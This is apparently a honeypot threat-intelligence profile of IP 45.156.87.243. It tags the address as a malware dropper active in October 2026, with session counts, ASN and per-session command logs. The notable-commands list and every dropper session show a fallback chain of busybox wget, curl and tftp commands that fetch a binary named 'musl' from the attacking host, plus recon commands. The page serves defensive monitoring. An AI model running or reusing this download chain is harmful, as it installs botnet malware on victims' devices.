← Back to feed
45.156.87.243
TAGGED MALICIOUS how we decide →
Why: Our sensors observed malware dropper sessions · certainty: inferred
Assessment
Malware dropper: logs in and downloads payloads
- Logged in with the same credential in 35 of 36 logins: it returns to a host it treats as already compromised rather than guessing passwords.
- Downloaded 215 files and ran 661 commands on the host.
- Active for 9 days, 2026-10-09 to 2026-10-19.
- Part of a 4-IP campaign from the same subnet.
Generated from the counts on this page by fixed rules; each line cites the number it rests on.
Location
🇳🇱 NL / Amsterdam
ASN
AS197170 · TechTies Inc.
Cloud Provider
—
Total Events
1268
Top 5% by volume
Agent Count
1
First / Last Seen
2026-10-09 21:44 — 2026-10-19 06:26
Attack Types
MITRE ATT&CK Techniques
Initial Access
Execution
Command and Control
External Corroboration
Not flagged by any external feeds
Session Forensics
Sessions
36 (36 with login)
Avg Depth Score
0.96
Commands Executed
661
Files Downloaded
215
Notable Commands
- echo LOGIN_OK_MARKER_12345
- uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null
- cd /tmp 2>/dev/null && pwd
- wc -c < /tmp/musl 2>/dev/null
- cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/run 2>/dev/null; rm -f musl; /bin/busybox wget http://45.156.87.243/musl > musl 2>/dev/null || busybox wget http://45.156.87.243/musl > musl 2>/dev/null || wget -q -O - http://45.156.87.243/musl > musl 2>/dev/null || /usr/bin/wget -q -O - http://45.156.87.243/musl > musl 2>/dev/null || /bin/busybox wget -O musl http://45.156.87.243/musl 2>/dev/null || busybox wget -O musl http://45.156.87.243/musl 2>/dev/null || /usr/bin/curl -s -o musl http://45.156.87.243/musl 2>/dev/null || curl -s -o musl http://45.156.87.243/musl 2>/dev/null || /bin/busybox tftp -g -b 512 -r musl -l musl 45.156.87.243 2>/dev/null || busybox tftp -g -b 512 -r musl -l musl 45.156.87.243 2>/dev/null || /usr/bin/tftp -g -b 512 -r musl -l musl 45.156.87.243 2>/dev/null || tftp -g -b 512 -r musl -l musl 45.156.87.243 2>/dev/null
- wc -c < musl 2>/dev/null
- echo SHELL_TEST
- /bin/busybox TEST
Download URLs
- http://45.156.87.243/musl
Evidence Timeline
Malware Dropper
5091dc4ca42e
LOGIN
20
7
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/muslhttp://45.156.87.243/musl
Reconnaissance
ea2b873b99a9
LOGIN
2
18
60%
Loading events...
$ echo SHELL_TEST$ /bin/busybox TEST
Malware Dropper
18c44d230311
LOGIN
25
7
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/muslhttp://45.156.87.243/musl
Malware Dropper
d0d8f6279453
LOGIN
16
7
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/muslhttp://45.156.87.243/musl
Malware Dropper
825169738c91
LOGIN
20
2
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/musl
Malware Dropper
6682b47ebaa7
LOGIN
25
7
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/muslhttp://45.156.87.243/musl
Malware Dropper
8dd26a804a05
LOGIN
25
7
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/muslhttp://45.156.87.243/musl
Malware Dropper
314a35a64beb
LOGIN
20
7
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/muslhttp://45.156.87.243/musl
Malware Dropper
733b466049bc
LOGIN
20
7
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/muslhttp://45.156.87.243/musl
Malware Dropper
185f00792828
LOGIN
24
7
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/muslhttp://45.156.87.243/musl
Malware Dropper
c1bf662f9788
LOGIN
25
7
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/muslhttp://45.156.87.243/musl
Reconnaissance
da58fc12bfe2
LOGIN
2
1
60%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null
Malware Dropper
a56ca4132674
LOGIN
12
7
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/muslhttp://45.156.87.243/musl
Malware Dropper
4d0cfa4d6433
LOGIN
19
7
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/muslhttp://45.156.87.243/musl
Malware Dropper
f18d20fbf20b
LOGIN
14
7
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/muslhttp://45.156.87.243/musl
Malware Dropper
6d739ab52e91
LOGIN
12
8
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/muslhttp://45.156.87.243/musl
Malware Dropper
acdc390cb4ea
LOGIN
25
7
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/muslhttp://45.156.87.243/musl
Malware Dropper
e8cbdfc551e9
LOGIN
25
7
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/muslhttp://45.156.87.243/musl
Malware Dropper
2a80d8a9b3bb
LOGIN
9
7
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/muslhttp://45.156.87.243/musl
Malware Dropper
cdd895d2c7fd
LOGIN
25
7
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/muslhttp://45.156.87.243/musl
Malware Dropper
c50f427ce8c7
LOGIN
24
7
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/muslhttp://45.156.87.243/musl
Malware Dropper
72d5e550db1d
LOGIN
25
7
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/muslhttp://45.156.87.243/musl
Malware Dropper
36bbd69f10fa
LOGIN
25
7
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/muslhttp://45.156.87.243/musl
Malware Dropper
ccce89a331ab
LOGIN
24
7
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/muslhttp://45.156.87.243/musl
Malware Dropper
fd394cd82e8a
LOGIN
22
7
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/muslhttp://45.156.87.243/musl
Malware Dropper
96165edc9896
LOGIN
22
7
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/muslhttp://45.156.87.243/musl
Malware Dropper
17971ca3bb30
LOGIN
15
2
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/musl
Malware Dropper
61e04d02c573
LOGIN
8
7
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/muslhttp://45.156.87.243/musl
Malware Dropper
d12acbb56b72
LOGIN
19
7
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/muslhttp://45.156.87.243/musl
Malware Dropper
0fa86f4eb2a7
LOGIN
25
7
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/muslhttp://45.156.87.243/musl
Malware Dropper
ca80696731ff
LOGIN
25
7
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/muslhttp://45.156.87.243/musl
Malware Dropper
bec99916aed3
LOGIN
23
7
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/muslhttp://45.156.87.243/musl
Malware Dropper
20f7cf02b1ba
LOGIN
23
7
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/muslhttp://45.156.87.243/musl
Malware Dropper
c3ee22909e28
LOGIN
12
7
1
100%
Loading events...
$ echo LOGIN_OK_MARKER_12345$ uname -m 2>/dev/null; cat /proc/cpuinfo 2>/dev/null$ cd /tmp 2>/dev/null && pwd$ wc -c < /tmp/musl 2>/dev/null$ cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/r…
http://45.156.87.243/muslhttp://45.156.87.243/muslhttp://45.156.87.243/musl
Reconnaissance
4a935d03e772
LOGIN
2
18
60%
Loading events...
$ echo SHELL_TEST$ /bin/busybox TEST
Reconnaissance
cc25e8b7be5a
LOGIN
2
1
60%
Loading events...
$ echo SHELL_TEST$ /bin/busybox TEST